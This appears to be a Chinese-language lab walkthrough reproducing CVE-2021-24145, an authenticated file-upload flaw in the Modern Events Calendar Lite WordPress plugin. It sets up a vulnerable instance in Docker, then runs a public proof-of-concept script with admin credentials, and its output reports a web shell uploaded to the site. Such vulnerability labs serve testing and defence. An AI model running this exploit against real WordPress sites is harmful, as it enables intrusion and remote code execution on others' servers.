WordPress文件上传漏洞，Modern Events Calendar Lite WordPress插件5.16.5之前版本 https://nvd.nist.gov/vuln/detail/CVE-2021-24145
进行安装时，请从docker-compose.yml文件中进行端口转发。
$ docker-compose up
前往 http://[web服务器ip]:端口/
进行基本安装。
前往 [插件] -> [添加新] -> [上传插件]。
上传并安装 modern-events-calendar-lite.5.16.2.zip。
下图是插件安装完成后的样子。
安装完成后，激活插件。
python3 poc.py -T [URL] -P [PORT] -U [Path] -u [admin] -p [password]
$python3 poc.py -T 172.30.1.48 -P 80 -U / -u 0ppr2s -p 123456
______ _______ ____ ___ ____ _ ____ _ _ _ _ _ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | || || ___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| | || ||___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |__ _|__) |
\____| \_/ |_____| |_____|\___/_____|_| |_____| |_| |_| |_||____/
* Wordpress Plugin Modern Events Calendar Lite RCE
* @Hacker5preme
[+] 身份验证成功！
[+] Shell已上传至：http://172.30.1.48:80//wp-content/uploads/shell.php
https://github.com/Hacker5preme/Exploits/tree/main/Wordpress/CVE-2021-24145